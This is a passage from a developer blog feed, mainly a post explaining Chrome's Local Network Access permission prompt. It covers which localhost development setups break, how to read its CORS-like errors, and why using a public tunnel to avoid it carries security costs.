&lt;/li&gt;
&lt;li&gt;&lt;a href="https://privacysandbox.com/news/update-on-plans-for-privacy-sandbox-technologies/" rel="noopener noreferrer"&gt;Update on plans for Privacy Sandbox technologies (Google, October 2025)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://privacysandbox.google.com/3pcd/chips" rel="noopener noreferrer"&gt;CHIPS (Privacy Sandbox)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.rubydoc.info/gems/ruby_native/0.4.0/RubyNative/TunnelCookieMiddleware" rel="noopener noreferrer"&gt;RubyNative::TunnelCookieMiddleware&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://expressjs.com/en/guide/behind-proxies.html" rel="noopener noreferrer"&gt;Express behind proxies&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://docs.djangoproject.com/en/stable/ref/settings/#secure-proxy-ssl-header" rel="noopener noreferrer"&gt;Django settings: SECURE_PROXY_SSL_HEADER&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://spreecommerce.org/docs/developer/storefront/nextjs/wallet-payments.md" rel="noopener noreferrer"&gt;Spree: wallet payments in development (Rails tunnel hosts)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/workers/local-development/local-dev-tunnels/index.md" rel="noopener noreferrer"&gt;Cloudflare: share a local dev server&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/cookies-on-tunnel-domains-why-login-works-on-localhost-but-breaks-on-a-tunnel-url" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/cookies-on-tunnel-domains-why-login-works-on-localhost-but-breaks-on-a-tunnel-url&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Chrome’s Local Network Access Prompt: What Breaks for Localhost Dev (and When a Tunnel Is the Wrong Fix)</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Wed, 28 Oct 2026 05:03:14 +0000</pubDate>
      <link>https://dev.to/instatunnel/chromes-local-network-access-prompt-what-breaks-for-localhost-dev-and-when-a-tunnel-is-the-wrong-4375</link>
      <guid>https://dev.to/instatunnel/chromes-local-network-access-prompt-what-breaks-for-localhost-dev-and-when-a-tunnel-is-the-wrong-4375</guid>
      <description>&lt;p&gt;If a hosted frontend suddenly can’t reach your &lt;code&gt;localhost:8080&lt;/code&gt; API in Chrome, you have almost certainly met &lt;strong&gt;Local Network Access (LNA)&lt;/strong&gt;. Since Chrome 142, requests from public websites to local and loopback addresses sit behind a permission prompt. Chrome 156 reached Stable on October 20, 2026. It removed the temporary enterprise opt-out policy, so managed browsers can no longer downgrade these blocks to DevTools warnings.&lt;/p&gt;

&lt;p&gt;This guide covers which developer setups break, how to read the confusing errors, why a tunnel URL makes the problem vanish, and why that is often the wrong fix.&lt;/p&gt;

&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;LNA gates requests from a &lt;strong&gt;public&lt;/strong&gt; page to a &lt;strong&gt;local or loopback&lt;/strong&gt; destination behind a per-site permission. If a user clicks Block, the connection stays broken until they reset the permission.&lt;/li&gt;
&lt;li&gt;Hosted frontends, third-party dashboards and iframes that call your dev server break. A localhost page calling localhost does not.&lt;/li&gt;
&lt;li&gt;Chrome 156 removes the &lt;code&gt;LocalNetworkAccessRestrictionsTemporaryOptOut&lt;/code&gt; policy. That was the soft-landing mode for managed fleets.&lt;/li&gt;
&lt;li&gt;A tunnel works because the request now targets a public address. It swaps a user-consented path for an internet-reachable one.&lt;/li&gt;
&lt;li&gt;Prefer granting the permission, delegating it to iframes, or a narrow allowlist. Use a tunnel when you need inbound traffic or cannot control the embedding page.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What Is Chrome’s Local Network Access?
&lt;/h2&gt;

&lt;p&gt;LNA supersedes Private Network Access (PNA), an earlier effort that used preflight requests so local devices could opt in. LNA drops the device opt-in and asks the &lt;strong&gt;user&lt;/strong&gt; instead. &lt;a href="https://developer.chrome.com/blog/local-network-access" rel="noopener noreferrer"&gt;Chrome’s developer blog&lt;/a&gt; compares it to the local network permissions on Android, iOS and macOS. Developers could try it from Chrome 138 by enabling &lt;code&gt;chrome://flags/#local-network-access-check&lt;/code&gt;. Chrome 142 (Stable since October 28, 2025) turned the restriction on by default.&lt;/p&gt;

&lt;p&gt;Google’s stated goals are to reduce cross-site request forgery against devices such as routers, and to make it harder for sites to fingerprint your local network.&lt;/p&gt;

&lt;p&gt;A &lt;em&gt;local network request&lt;/em&gt; is a request from a public website to a local IP address or loopback address, or from a local website (for example, an intranet) to loopback.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Loopback&lt;/strong&gt; means any destination that resolves to the machine itself, such as &lt;code&gt;127.0.0.0/8&lt;/code&gt; and &lt;code&gt;::1&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Local&lt;/strong&gt; covers private address space. Atlassian’s bug report on the issue, for instance, lists &lt;code&gt;10.0.0.0/8&lt;/code&gt;, &lt;code&gt;172.16.0.0/12&lt;/code&gt; and &lt;code&gt;192.168.0.0/16&lt;/code&gt;. Cloudflare’s documentation notes that the &lt;code&gt;100.64.0.0/10&lt;/code&gt; range also counts as local.&lt;/li&gt;
&lt;li&gt;The permission exists only in &lt;strong&gt;secure contexts&lt;/strong&gt;, so the calling page needs HTTPS.&lt;/li&gt;
&lt;li&gt;If granted, the permission also relaxes mixed-content blocking for those local requests, because many local devices cannot get publicly trusted certificates.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The permission prompt reads “Look for and connect to any device on your local network.”&lt;/p&gt;

&lt;h2&gt;
  
  
  Timeline: Chrome 138 to Chrome 156
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Chrome&lt;/th&gt;
&lt;th&gt;What changed&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;138&lt;/td&gt;
&lt;td&gt;Opt-in via &lt;code&gt;chrome://flags/#local-network-access-check&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;142&lt;/td&gt;
&lt;td&gt;Restriction on by default, gated behind a permission prompt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;145&lt;/td&gt;
&lt;td&gt;Single permission split into &lt;code&gt;local-network&lt;/code&gt; and &lt;code&gt;loopback-network&lt;/code&gt;; the old name stays as an alias&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;146&lt;/td&gt;
&lt;td&gt;New enterprise policies &lt;code&gt;LocalNetworkAccessIpAddressSpaceOverrides&lt;/code&gt; and &lt;code&gt;LocalNetworkAccessPermissionsPolicyDefaultEnabled&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;147&lt;/td&gt;
&lt;td&gt;Restriction extended to WebSocket and WebTransport connections&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;156&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;LocalNetworkAccessRestrictionsTemporaryOptOut&lt;/code&gt; removed; Stable on October 20, 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Sources: &lt;a href="https://github.com/GoogleChrome/modern-web-guidance-src/issues/1127" rel="noopener noreferrer"&gt;Chrome’s guidance tracker entry&lt;/a&gt;, &lt;a href="https://developer.chrome.com/blog/local-network-access" rel="noopener noreferrer"&gt;Chrome’s developer blog&lt;/a&gt;, &lt;a href="https://www.chromegeek.com/chrome-156-stable-whats-new/" rel="noopener noreferrer"&gt;Chrome Geek’s Chrome 156 coverage&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Which Localhost Dev Setups Break
&lt;/h2&gt;

&lt;p&gt;The rule of thumb is a less-private origin calling a more-private destination. The prompt fires when a request moves inward from public toward local or loopback.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. A hosted frontend calling &lt;code&gt;localhost&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This is the headline case. A preview or staging frontend on a public host calls an API on &lt;code&gt;http://localhost:8080&lt;/code&gt;. Each end is fine on its own, but the public-to-loopback combination triggers the gate. If the user clicks Block, or the prompt never appears (see iframes below), the request fails.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Third-party platforms that load your dev server
&lt;/h3&gt;

&lt;p&gt;Many vendor tooling flows work this way: the vendor’s public site loads or calls your local server. Developers have reported breakage in several of them:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Shopify:&lt;/strong&gt; Since Chrome 142, extensions served by the Shopify CLI with &lt;code&gt;shopify app dev --use-localhost&lt;/code&gt; hit a CORS error (&lt;a href="https://community.shopify.dev/t/chrome-142-default-flag-breaks-network-requests/24658" rel="noopener noreferrer"&gt;Shopify community&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Adobe Express:&lt;/strong&gt; Side-loading an add-on from &lt;code&gt;https://localhost:5241&lt;/code&gt; shows a prompt on &lt;code&gt;new.express.adobe.com&lt;/code&gt;. If you click Block, side-loading fails (&lt;a href="https://developer.adobe.com/express/add-ons/docs/guides/getting-started/local-development/known-issues-limitations" rel="noopener noreferrer"&gt;Adobe docs&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Builder.io:&lt;/strong&gt; The Visual Editor previewing &lt;code&gt;localhost&lt;/code&gt; content can fail with &lt;code&gt;net::ERR_BLOCKED_BY_LOCAL_NETWORK_ACCESS_CHECK&lt;/code&gt; after a Block (&lt;a href="https://www.builder.io/c/docs/integration-tips" rel="noopener noreferrer"&gt;Builder.io docs&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Twitch:&lt;/strong&gt; An extension’s Local Test on &lt;code&gt;https://localhost:8080&lt;/code&gt; fails inside the Twitch dashboard iframe (&lt;a href="https://discuss.dev.twitch.com/t/if-your-twitch-extension-local-test-suddenly-started-throwing-a-cors-error/64438" rel="noopener noreferrer"&gt;Twitch forum&lt;/a&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DatoCMS:&lt;/strong&gt; Privately hosted plugins stopped working in Chromium browsers after the LNA change (&lt;a href="https://community.datocms.com/t/issues-with-privately-hosted-plugins-in-chromium-browsers/8444" rel="noopener noreferrer"&gt;DatoCMS community&lt;/a&gt;).&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3. Iframes you don’t control
&lt;/h3&gt;

&lt;p&gt;An embedded frame needs the permission delegated by the embedding page through Permissions Policy. Chrome 142 to 144 use &lt;code&gt;allow="local-network-access"&lt;/code&gt;. From Chrome 145 you can name &lt;code&gt;local-network&lt;/code&gt; or &lt;code&gt;loopback-network&lt;/code&gt; (&lt;a href="https://developers.cloudflare.com/cloudflare-one/traffic-policies/egress-policies/host-selectors/" rel="noopener noreferrer"&gt;Cloudflare’s summary&lt;/a&gt;). A &lt;a href="https://dynamsoft.com/web-twain/docs/faq/chromium-142-local-network-access-issue.html" rel="noopener noreferrer"&gt;Dynamsoft guide&lt;/a&gt; shows listing all three for compatibility.&lt;/p&gt;

&lt;p&gt;Without delegation the failure can be silent. Atlassian’s bug report describes a Forge app frame where Chrome showed no prompt, so users had no chance to allow the request (&lt;a href="https://jira.atlassian.com/browse/ECO-1174" rel="noopener noreferrer"&gt;ECO-1174&lt;/a&gt;). The Twitch thread describes the same pattern: the dashboard iframe does not request the permission, so Chrome refuses the request. If you don’t own the embedding page, you can’t add the attribute, which matters later in this article.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Live-reload and realtime sockets
&lt;/h3&gt;

&lt;p&gt;Since Chrome 147, WebSocket and WebTransport connections are covered too. A hosted tool that opens a socket to your local dev server needs the same permission as one that calls &lt;code&gt;fetch()&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  What does &lt;strong&gt;not&lt;/strong&gt; break
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;A page served from &lt;code&gt;http://localhost:3000&lt;/code&gt; calling &lt;code&gt;http://localhost:8080&lt;/code&gt;. Both ends are loopback, so no inward step occurs.&lt;/li&gt;
&lt;li&gt;Setups where the user has already clicked &lt;strong&gt;Allow&lt;/strong&gt; for that site and the permission has not been reset.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Reading the Error: LNA Looks Like CORS
&lt;/h2&gt;

&lt;p&gt;Developers lose hours here because LNA failures often surface as CORS errors. Reports quote messages and annotations such as:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Permission was denied for this request to access the 'unknown' address space&lt;/code&gt; (Atlassian and Dynamsoft)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;LocalNetworkAccessPermissionDenied&lt;/code&gt; in the DevTools network details (Twitch)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;net::ERR_BLOCKED_BY_LOCAL_NETWORK_ACCESS_CHECK&lt;/code&gt; (Builder.io)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;LNA is a permission model, not a preflight handshake. The old PNA-era &lt;code&gt;Access-Control-Allow-Private-Network&lt;/code&gt; response header is not the general fix. A &lt;a href="https://localtonet.com/blog/chrome-local-network-access-apis-websockets" rel="noopener noreferrer"&gt;Localtonet guide&lt;/a&gt; also stresses that CORS, mixed content, TLS and LNA are separate layers that can each fail on their own.&lt;/p&gt;

&lt;p&gt;A debugging order that saves time:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Check whether the &lt;strong&gt;page origin is public&lt;/strong&gt; and the &lt;strong&gt;destination is local or loopback&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Look for the prompt, or a blocked-permission indicator in the address bar.&lt;/li&gt;
&lt;li&gt;If the request is inside an iframe, check the &lt;code&gt;allow&lt;/code&gt; attribute.&lt;/li&gt;
&lt;li&gt;Only then check CORS, mixed content and TLS.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;One more trap: a Block sticks. Adobe’s docs say that after clicking Block you must reset the site’s permissions and data in Chrome’s site settings, then reload and click Allow.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Chrome 156 Changes for Managed Browsers
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;LocalNetworkAccessRestrictionsTemporaryOptOut&lt;/code&gt;, supported since Chrome 142, let administrators make LNA failures show only DevTools warnings instead of blocking requests. Chrome’s guidance tracker says it is removed in Chrome 156. &lt;a href="https://www.chromegeek.com/chrome-156-stable-whats-new/" rel="noopener noreferrer"&gt;Chrome Geek&lt;/a&gt; confirms Chrome 156 hit Stable on October 20 and tells IT teams to replace setups that relied on the opt-out.&lt;/p&gt;

&lt;p&gt;“Hard block” overstates the change slightly:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fleets that relied on the opt-out now get the default LNA handling. That means a prompt where a human can answer it.&lt;/li&gt;
&lt;li&gt;Where nobody can answer (kiosks, locked-down profiles, automated browsers), the request is likely to fail.&lt;/li&gt;
&lt;li&gt;Admins can still use an allowlist policy to grant named origins access. Kaltura’s guidance (updated August 2026) recommends &lt;code&gt;LocalNetworkAccessAllowedForUrls&lt;/code&gt; and warns against disabling LNA globally. Cloudflare’s documentation says a policy named &lt;code&gt;LocalNetworkAllowedForUrls&lt;/code&gt; replaces it from Chrome 146. Policy names have shifted, so check the current Chrome Enterprise policy list before deploying.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Dating caveat:&lt;/strong&gt; older vendor documentation (Samsung Internet’s policy page, Cloudflare’s notes) said the opt-out would be removed after Chrome 152. Chrome’s own tracker and the Chrome 156 release coverage name 156, so treat 156 as the date that matters.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why a Tunnel URL Sidesteps the Prompt
&lt;/h2&gt;

&lt;p&gt;LNA classifies a request by the &lt;strong&gt;address space of its destination&lt;/strong&gt;, evaluated after name resolution. A tunnel’s public hostname (for example &lt;code&gt;https://abc123.tunnel-provider.example&lt;/code&gt;) resolves to the provider’s public edge. A hosted frontend calling that URL is making a public-to-public request, so the LNA check does not apply. The provider relays traffic to your machine over an outbound connection, which Chrome never sees.&lt;/p&gt;

&lt;p&gt;Developers do reach for this. In the Twitch thread, a developer asked whether ngrok or Cloudflare Tunnel URLs would work for local testing. Another developer there avoids &lt;code&gt;localhost&lt;/code&gt; entirely and points the extension at a real domain with a reverse SSH tunnel. The workaround works precisely because it is invisible to the browser’s policy.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Security Cost of “Just Tunnel It”
&lt;/h2&gt;

&lt;p&gt;LNA exists to put a human decision between a public website and your private network. A tunnel does not satisfy that control. It &lt;strong&gt;removes the question&lt;/strong&gt; by making the service reachable from the whole internet.&lt;/p&gt;

&lt;p&gt;The trade-offs:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Wider audience.&lt;/strong&gt; An LNA grant is per site, per browser, and revocable. A tunnel URL is reachable by anyone who learns or guesses it, from any network, with no prompt.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dev-grade services, prod-grade exposure.&lt;/strong&gt; Local APIs often have permissive CORS, debug endpoints, seeded admin accounts and stack traces. These were tolerable behind loopback and are not safe on a public hostname.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;No consent signal.&lt;/strong&gt; Once tunnelled, the “do you trust this site” step is gone for every visitor, including crawlers and scanners.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A third party sits in the path.&lt;/strong&gt; Many providers terminate TLS at their edge, so request bodies, tokens and cookies pass through infrastructure you don’t run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Credential sprawl.&lt;/strong&gt; Tunnel URLs get pasted into tickets, chat and &lt;code&gt;.env&lt;/code&gt; files, and are left running after a task ends.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Policy conflicts.&lt;/strong&gt; A tunnel can quietly route around controls your security team just deployed. In regulated environments that can be a policy violation, not just a risk.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;If you do tunnel, put authentication in front of it, keep the URL short-lived, expose only the port you need, and never point it at a service holding real data. Stop or delete the tunnel when the test ends.&lt;/p&gt;

&lt;h2&gt;
  
  
  When a Tunnel Is the Wrong Fix
&lt;/h2&gt;

&lt;p&gt;Reach for these first:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Grant the permission once.&lt;/strong&gt; For a single developer on a single site, clicking Allow is the least-privileged option. If you blocked it by mistake, reset the site’s permissions (Adobe documents the steps).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Run the frontend locally.&lt;/strong&gt; A &lt;code&gt;localhost&lt;/code&gt; page calling &lt;code&gt;localhost&lt;/code&gt; avoids the gate entirely. Use &lt;code&gt;mkcert&lt;/code&gt; or your framework’s HTTPS dev mode when you need a secure context.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Delegate to iframes.&lt;/strong&gt; If you own the embedding page, add the &lt;code&gt;allow&lt;/code&gt; attribute (&lt;code&gt;loopback-network&lt;/code&gt;, &lt;code&gt;local-network&lt;/code&gt;, and &lt;code&gt;local-network-access&lt;/code&gt; for older Chrome), as Atlassian’s fix and Dynamsoft’s guide show.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use a narrow enterprise allowlist.&lt;/strong&gt; List only the public origins that need access, not the local endpoints. Kaltura’s guidance calls any such allowlist &lt;a href="https://knowledge.kaltura.com/help/chrome-edge-local-network-access-lna-and-kaltura-ecdn" rel="noopener noreferrer"&gt;a security exception&lt;/a&gt; that needs an owner, a documented reason and regular review. That is the right mental model. Verify the result in &lt;code&gt;chrome://policy&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Move the backend.&lt;/strong&gt; A shared dev or staging environment removes the local-network hop altogether and suits team workflows better.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Declare the target when you know it.&lt;/strong&gt; Chrome’s design includes a &lt;code&gt;targetAddressSpace&lt;/code&gt; fetch option for requests that intentionally target a local destination (&lt;a href="https://localtonet.com/blog/chrome-local-network-access-apis-websockets" rel="noopener noreferrer"&gt;Localtonet’s walkthrough&lt;/a&gt; shows an example). Triggering the request after a clear user action means people meet the prompt at a sensible moment.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The flag is a last resort.&lt;/strong&gt; Adobe, Builder.io and Atlassian document &lt;code&gt;chrome://flags/#local-network-access-check&lt;/code&gt; as a workaround, and Adobe warns it applies to all websites. It is a per-browser escape hatch, so don’t build team workflows on it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  When a Tunnel Is the Right Fix
&lt;/h2&gt;

&lt;p&gt;A tunnel is reasonable when:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You need &lt;strong&gt;inbound&lt;/strong&gt; traffic, such as webhooks from Stripe, Shopify or Slack. LNA does not address that at all.&lt;/li&gt;
&lt;li&gt;You are testing on &lt;strong&gt;real devices off your LAN&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;You must &lt;strong&gt;share a work in progress&lt;/strong&gt; with a client or colleague.&lt;/li&gt;
&lt;li&gt;A third-party tool embeds your dev server in a frame &lt;strong&gt;you can’t modify&lt;/strong&gt;, as with a vendor dashboard that won’t add the &lt;code&gt;allow&lt;/code&gt; attribute.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In those cases, treat the tunnel as a deliberate, authenticated, time-boxed exposure, not a browser-prompt workaround.&lt;/p&gt;

&lt;h2&gt;
  
  
  What About Firefox and Safari?
&lt;/h2&gt;

&lt;p&gt;Chrome is not alone. According to &lt;a href="https://dynamsoft.com/web-twain/docs/faq/chromium-142-local-network-access-issue.html" rel="noopener noreferrer"&gt;Dynamsoft’s rollout table&lt;/a&gt;, Firefox’s timeline was:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Firefox&lt;/th&gt;
&lt;th&gt;Behavior&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;149&lt;/td&gt;
&lt;td&gt;LNA enforced only for users with Enhanced Tracking Protection set to Strict&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;151&lt;/td&gt;
&lt;td&gt;Gradual rollout to all users begins&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;153&lt;/td&gt;
&lt;td&gt;Enforced by default for desktop users&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;154&lt;/td&gt;
&lt;td&gt;Extended to WebSocket connections&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Mozilla’s &lt;a href="https://www.firefox.com/firefox/notes/" rel="noopener noreferrer"&gt;Firefox 154 release notes&lt;/a&gt; (first offered August 18, 2026) say that WebSocket connections to local network devices now ask for permission first. For admins, Firefox’s &lt;code&gt;LocalNetworkAccess&lt;/code&gt; policy takes a &lt;code&gt;SkipDomains&lt;/code&gt; list rather than an allowlist.&lt;/p&gt;

&lt;p&gt;Safari is the outlier. A &lt;a href="https://github.com/getsentry/browser-updates-radar/issues/29" rel="noopener noreferrer"&gt;Sentry browser-updates radar entry&lt;/a&gt; from September 14, 2026 lists Safari as “No signal” for this feature. Switching browsers to dodge the prompt is a shrinking option.&lt;/p&gt;

&lt;h2&gt;
  
  
  Frequently Asked Questions
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Does Chrome’s Local Network Access block &lt;code&gt;localhost&lt;/code&gt; development?
&lt;/h3&gt;

&lt;p&gt;Only when a public page calls a local or loopback address. A localhost page calling localhost isn’t affected.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why does LNA show up as a CORS error?
&lt;/h3&gt;

&lt;p&gt;Chrome blocks the request before the response is usable, and DevTools reports a failed cross-origin request. Look for the permission-denial text, such as &lt;code&gt;LocalNetworkAccessPermissionDenied&lt;/code&gt;, before touching your CORS config.&lt;/p&gt;

&lt;h3&gt;
  
  
  Can I turn LNA off in Chrome 156?
&lt;/h3&gt;

&lt;p&gt;Administrators lose the temporary opt-out policy. Users still have per-site permissions. Vendors have documented a Chrome flag as a workaround, but it is an unsupported per-browser escape hatch, not a long-term plan.&lt;/p&gt;

&lt;h3&gt;
  
  
  Is using a tunnel to avoid the prompt secure?
&lt;/h3&gt;

&lt;p&gt;Not by default. It turns a consented, per-site path into a public URL. Add authentication, expose only what you need, and keep sessions short.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sources
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://developer.chrome.com/blog/local-network-access" rel="noopener noreferrer"&gt;Chrome for Developers: New permission prompt for Local Network Access&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/GoogleChrome/modern-web-guidance-src/issues/1127" rel="noopener noreferrer"&gt;GoogleChrome/modern-web-guidance-src #1127&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.chromegeek.com/chrome-156-stable-whats-new/" rel="noopener noreferrer"&gt;Chrome Geek: Chrome 156 is here&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developers.cloudflare.com/cloudflare-one/traffic-policies/egress-policies/host-selectors/" rel="noopener noreferrer"&gt;Cloudflare: Host selectors (LNA notes)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.samsung.com/browser/policy/local-network-access-restrictions-temporary-opt-out.html" rel="noopener noreferrer"&gt;Samsung Internet: LocalNetworkAccessRestrictionsTemporaryOptOut&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/getsentry/browser-updates-radar/issues/29" rel="noopener noreferrer"&gt;Getsentry browser-updates-radar #29&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://dynamsoft.com/web-twain/docs/faq/chromium-142-local-network-access-issue.html" rel="noopener noreferrer"&gt;Dynamsoft: Chromium 142 LNA issue&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://community.shopify.dev/t/chrome-142-default-flag-breaks-network-requests/24658" rel="noopener noreferrer"&gt;Shopify community thread&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://developer.adobe.com/express/add-ons/docs/guides/getting-started/local-development/known-issues-limitations" rel="noopener noreferrer"&gt;Adobe Express known issues&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.builder.io/c/docs/integration-tips" rel="noopener noreferrer"&gt;Builder.io integration tips&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://jira.atlassian.com/browse/ECO-1174" rel="noopener noreferrer"&gt;Atlassian ECO-1174&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://discuss.dev.twitch.com/t/if-your-twitch-extension-local-test-suddenly-started-throwing-a-cors-error/64438" rel="noopener noreferrer"&gt;Twitch developer forum&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://community.datocms.com/t/issues-with-privately-hosted-plugins-in-chromium-browsers/8444" rel="noopener noreferrer"&gt;DatoCMS community&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://knowledge.kaltura.com/help/chrome-edge-local-network-access-lna-and-kaltura-ecdn" rel="noopener noreferrer"&gt;Kaltura LNA guidance&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://localtonet.com/blog/chrome-local-network-access-apis-websockets" rel="noopener noreferrer"&gt;Localtonet: Chrome Local Network Access for APIs and WebSockets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.firefox.com/firefox/notes/" rel="noopener noreferrer"&gt;Firefox 154 release notes&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;em&gt;Originally published at &lt;a href="https://instatunnel.my/blog/chromes-local-network-access-prompt-what-breaks-for-localhost-dev-and-when-a-tunnel-is-the-wrong-fix" rel="noopener noreferrer"&gt;https://instatunnel.my/blog/chromes-local-network-access-prompt-what-breaks-for-localhost-dev-and-when-a-tunnel-is-the-wrong-fix&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>programming</category>
    </item>
    <item>
      <title>Local-First AI Agent Testing: How to Expose Local MCP Servers Safely Without Compromising Host Security</title>
      <dc:creator>InstaTunnel</dc:creator>
      <pubDate>Tue, 27 Oct 2026 01:42:41 +0000</pubDate>
      <link>https://dev.to/instatunnel/local-first-ai-agent-testing-how-to-expose-local-mcp-servers-safely-without-compromising-host-574f</link>
      <guid>https://dev.to/instatunnel/local-first-ai-agent-testing-how-to-expose-local-mcp-servers-safely-without-compromising-host-574f</guid>
      <description>&lt;h2&gt;
  
  
  Introduction: Local Tools, Remote Clients
&lt;/h2&gt;

